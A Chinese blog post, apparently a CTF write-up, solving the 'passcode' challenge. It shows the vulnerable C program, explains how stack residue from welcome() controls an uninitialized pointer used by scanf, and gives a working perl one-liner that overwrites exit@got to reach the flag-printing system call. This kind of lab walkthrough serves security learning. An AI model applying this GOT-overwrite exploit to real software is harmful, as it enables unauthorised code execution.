Quantcast
Channel: 记事本
Viewing all articles
Browse latest Browse all 122

passcode

$
0
0

代码如下

#include <stdio.h>#include <stdlib.h>voidlogin(){intpasscode1;intpasscode2;printf("enter passcode1 : ");scanf("%d",passcode1);fflush(stdin);// ha! mommy told me that 32bit is vulnerable to bruteforcing :)printf("enter passcode2 : ");scanf("%d",passcode2);printf("checking...\n");if(passcode1==338150&&passcode2==13371337){printf("Login OK!\n");system("/bin/cat flag");}else{printf("Login Failed!\n");exit(0);}}voidwelcome(){charname[100];printf("enter you name : ");scanf("%100s",name);printf("Welcome %s!\n",name);}intmain(){printf("Toddler's Secure Login System 1.0 beta.\n");welcome();login();// something after login...printf("Now I can safely trust you that you have credential :)\n");return0;}

问题出在login()中,scanf的第二个参数给的不是变量的地址。如果passcode1passcode2的初始值指向不可写的地方,而且scanf成功,那么就会segfault

于是思路就是,在login()执行前,在welcome()中把栈上的值设好。所以这道题和OverTheWire上的Manpage里一道题思路有相似的地方

具体地,namewelcome()中的地址是ebp-0x70passcode1passcode2login()中的地址是ebp-0x10ebp-0xc。正好我们只能改写passcode1,改不了passcode2。于是单纯地想把两个都修改为检查值的方法行不通了

但是我们发现,passcode1那里由于scanf,可以做到写4 bytes到任意地址。所以我们可以修改程序流程,让他跳到system读flag那里。

而由于ASLR,想修改返回地址不靠谱,于是我们可以修改exit@got。这样检查失败后,调用exit(0)就成了system("/bin/cat flag");

readelf -r passcode可知exit@got0x0804a018,于是把passcode1设为它;然后通过scanf将其改为0x080485e3=134514147。注意我们要让passcode2scanf时不能segfault,于是输入非数字让scanf失败

$ perl -e 'print "A"x96 . "\x18\xa0\x04\x08" . "134514147\n" . "f\n"' | ./passcode

Viewing all articles
Browse latest Browse all 122

Trending Articles